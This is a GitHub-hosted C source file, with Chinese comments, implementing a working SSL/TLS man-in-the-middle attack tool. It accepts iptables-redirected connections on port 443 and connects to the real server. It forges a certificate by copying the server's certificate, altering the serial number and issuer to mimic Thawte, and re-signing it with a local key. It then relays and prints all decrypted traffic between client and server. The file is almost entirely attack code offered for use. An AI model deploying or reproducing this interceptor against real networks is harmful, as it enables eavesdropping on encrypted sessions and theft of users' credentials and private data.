-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathSSL_man_in_middle.c
409 lines (364 loc) · 12.6 KB
/
SSL_man_in_middle.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/param.h>
#include <linux/netfilter_ipv4.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define LISTEN_BACKLOG 50
#define warning(msg) \
do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0)
#define error(msg) \
do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0)
int sum = 1;
struct timeval timeout = { 0, 10000000 };
void ShowCerts(SSL * ssl)
{
X509 * cert;
char * line;
cert = SSL_get_peer_certificate(ssl);
if (cert != NULL)
{
printf("数字证书信息:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("证书: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("颁发者: %s\n", line);
free(line);
X509_free(cert);
}
else
{
printf("无证书信息!\n");
}
}
int get_socket_to_server(struct sockaddr_in* original_server_addr)
{
int sockfd;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
error("Fail to initial socket to server!");
}
if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) < 0)
{
error("Fail to connect to server!");
}
printf("%d, Connect to server [%s:%d]\n", sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));
return sockfd;
}
//监听指定端口,等待客户端的连接
int socket_to_client_init(short int port)
{
int sockfd;
int on = 1;
struct sockaddr_in addr;
//初始化一个socket
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
error("Fail to initial socket to client!");
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0)
{
error("reuseaddr error!");
}
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_family = AF_INET;
//将该socket绑定到8888端口上
addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0)
{
shutdown(sockfd, SHUT_RDWR);
error("Fail to bind socket to client!");
}
//然后监听该端口
if (listen(sockfd, LISTEN_BACKLOG) < 0)
{
shutdown(sockfd, SHUT_RDWR);
error("Fail to listen socket to client!");
}
return sockfd;
}
/*
当主机B发起一个SSL连接时,我们在本地8888端口就可以监听到连接,这时我们接受这个连接,并获得该链接的原始目的地址,
以便后续连接服务器时使用。该部分封装到了get_socket_to_client函数中。
*/
int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr)
{
int client_fd;
struct sockaddr_in client_addr;
socklen_t client_size = sizeof(struct sockaddr);
socklen_t server_size = sizeof(struct sockaddr);
memset(&client_addr, 0, client_size);
memset(original_server_addr, 0, server_size);
client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size);
if (client_fd < 0)
{
warning("Fail to accept socket to client!");
return -1;
}
/*
通过getsockopt函数获得socket中的SO_ORIGINAL_DST属性,得到报文被iptables重定向之前的原始目的地址。
使用SO_ORIGINAL_DST属性需要包括头文件<linux/netfilter_ipv4.h>。
值得注意的是,在当前的情景下,通过getsockname等函数是无法正确获得原始的目的地址的,
因为iptables在重定向报文到本地端口时,已经将IP报文的目的地址修改为本地地址,
所以getsockname等函数获得的都是本地地址而不是服务器的地址。
*/
if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size) < 0)
{
warning("Fail to get original server address of socket to client!");;
}
printf("%d, Find SSL connection from client [%s:%d]", sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
printf(" to server [%s:%d]\n", inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));
return client_fd;
}
// 初始化openssl库
void SSL_init()
{
SSL_library_init();
SSL_load_error_strings();
}
void SSL_Warning(char *custom_string) {
char error_buffer[256] = { 0 };
fprintf(stderr, "%d, %s ", sum, custom_string);
ERR_error_string(ERR_get_error(), error_buffer);
fprintf(stderr, "%s\n", error_buffer);
}
void SSL_Error(char *custom_string) {
SSL_Warning(custom_string);
exit(EXIT_FAILURE);
}
//在与服务器建立了socket连接之后,我们就可以建立SSL连接了。这里我们使用linux系统中著名的SSL库openssl来完成我们的接下来的工作
SSL* SSL_to_server_init(int socket)
{
SSL_CTX *ctx;
ctx = SSL_CTX_new(SSLv23_client_method());
if (ctx == NULL)
{
SSL_Error("Fail to init ssl ctx!");
}
SSL *ssl = SSL_new(ctx);
if (ssl == NULL)
{
SSL_Error("Create ssl error");
}
if (SSL_set_fd(ssl, socket) != 1)
{
SSL_Error("Set fd error");
}
return ssl;
}
SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) {
SSL_CTX *ctx;
ctx = SSL_CTX_new(SSLv23_server_method());
if (ctx == NULL)
SSL_Error("Fail to init ssl ctx!");
if (cert && key) {
if (SSL_CTX_use_certificate(ctx, cert) != 1)
SSL_Error("Certificate error");
if (SSL_CTX_use_PrivateKey(ctx, key) != 1)
SSL_Error("key error");
if (SSL_CTX_check_private_key(ctx) != 1)
SSL_Error("Private key does not match the certificate public key");
}
SSL *ssl = SSL_new(ctx);
if (ssl == NULL)
SSL_Error("Create ssl error");
if (SSL_set_fd(ssl, socket) != 1)
SSL_Error("Set fd error");
return ssl;
}
void SSL_terminal(SSL *ssl) {
SSL_CTX *ctx = SSL_get_SSL_CTX(ssl);
SSL_shutdown(ssl);
SSL_free(ssl);
if (ctx)
SSL_CTX_free(ctx);
}
// 从文件读取伪造SSL证书时需要的RAS私钥和公钥
EVP_PKEY* create_key()
{
EVP_PKEY *key = EVP_PKEY_new();
RSA *rsa = RSA_new();
FILE *fp;
if ((fp = fopen("private.key", "r")) == NULL)
{
error("private.key");
}
PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL);
if ((fp = fopen("public.key", "r")) == NULL)
{
error("public.key");
}
PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL);
EVP_PKEY_assign_RSA(key,rsa);
return key;
}
X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key)
{
unsigned char buffer[128] = { 0 };
int length = 0, loc;
X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server);
X509 *fake_x509 = X509_dup(server_x509);
if (server_x509 == NULL)
{
SSL_Error("Fail to get the certificate from server!");
}
X509_set_version(fake_x509, X509_get_version(server_x509));
ASN1_INTEGER *a = X509_get_serialNumber(fake_x509);
a->data[0] = a->data[0] + 1;
X509_NAME *issuer = X509_NAME_new();
X509_NAME_add_entry_by_txt(issuer, "CN", MBSTRING_ASC,
"Thawte SGC CA", -1, -1, 0);
X509_NAME_add_entry_by_txt(issuer, "O", MBSTRING_ASC, "Thawte Consulting (Pty) Ltd.", -1, -1, 0);
X509_NAME_add_entry_by_txt(issuer, "OU", MBSTRING_ASC, "Thawte SGC CA", -1,
-1, 0);
X509_set_issuer_name(fake_x509, issuer);
X509_sign(fake_x509, key, EVP_sha1());
return fake_x509;
}
/*
我们将抓取数据的代码封装到transfer函数中。该函数主要是使用系统的select函数同时监听服务器和客户端,
并使用SSL_read和SSL_write不断的在两个信道之间传递数据,并将数据输出到控制台
*/
int transfer(SSL *ssl_to_client, SSL *ssl_to_server)
{
int socket_to_client = SSL_get_fd(ssl_to_client);
int socket_to_server = SSL_get_fd(ssl_to_server);
int ret;
char buffer[4096] = { 0 };
fd_set fd_read;
printf("%d, waiting for transfer\n", sum);
while (1)
{
int max;
FD_ZERO(&fd_read);
FD_SET(socket_to_server, &fd_read);
FD_SET(socket_to_client, &fd_read);
max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1;
ret = select(max, &fd_read, NULL, NULL, &timeout);
if (ret < 0)
{
SSL_Warning("Fail to select!");
break;
}
else if (ret == 0)
{
continue;
}
if (FD_ISSET(socket_to_client, &fd_read))
{
memset(buffer, 0, sizeof(buffer));
ret = SSL_read(ssl_to_client, buffer, sizeof(buffer));
if (ret > 0)
{
if (ret != SSL_write(ssl_to_server, buffer, ret))
{
SSL_Warning("Fail to write to server!");
break;
}
else
{
printf("%d, client send %d bytes to server\n", sum, ret);
printf("%s\n", buffer);
}
}
else
{
SSL_Warning("Fail to read from client!");
break;
}
}
if (FD_ISSET(socket_to_server, &fd_read))
{
memset(buffer, 0, sizeof(buffer));
ret = SSL_read(ssl_to_server, buffer, sizeof(buffer));
if (ret > 0) {
if (ret != SSL_write(ssl_to_client, buffer, ret))
{
SSL_Warning("Fail to write to client!");
break;
}
else
{
printf("%d, server send %d bytes to client\n", sum, ret);
printf("%s\n", buffer);
}
}
else
{
SSL_Warning("Fail to read from server!");
break;
}
}
}
return -1;
}
int main()
{
// 初始化一个socket,将该socket绑定到443端口,并监听
int socket = socket_to_client_init(443);
// 从文件读取伪造SSL证书时需要的RAS私钥和公钥
EVP_PKEY* key = create_key();
// 初始化openssl库
SSL_init();
while (1)
{
struct sockaddr_in original_server_addr;
// 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中
int socket_to_client = get_socket_to_client(socket, &original_server_addr);
if (socket_to_client < 0)
{
continue;
}
// 新建一个子进程处理后续事宜,主进程继续监听端口等待后续连接
if (!fork())
{
X509 *fake_x509;
SSL *ssl_to_client, *ssl_to_server;
// 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket
int socket_to_server = get_socket_to_server(&original_server_addr);
// 通过和服务器连接的socket建立一个和服务器的SSL连接
ssl_to_server = SSL_to_server_init(socket_to_server);
if (SSL_connect(ssl_to_server) < 0)
{
SSL_Error("Fail to connect server with ssl!");
} else {
printf("Connected with %s encryption\n", SSL_get_cipher(ssl_to_server));
ShowCerts(ssl_to_server);
}
printf("%d, SSL to server\n", sum);
// 从服务器获得证书,并通过这个证书伪造一个假的证书
fake_x509 = create_fake_certificate(ssl_to_server, key);
// 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功
ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key);
if (SSL_accept(ssl_to_client) <= 0)
{
SSL_Error("Fail to accept client with ssl!");
}
printf("%d, SSL to client\n", sum);
// 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据
if (transfer(ssl_to_client, ssl_to_server) < 0)
{
break;
}
printf("%d, connection shutdown\n", sum);
shutdown(socket_to_server, SHUT_RDWR);
SSL_terminal(ssl_to_client);
SSL_terminal(ssl_to_server);
X509_free(fake_x509);
EVP_PKEY_free(key);
}
else
{
++sum;
}
}
return 0;
}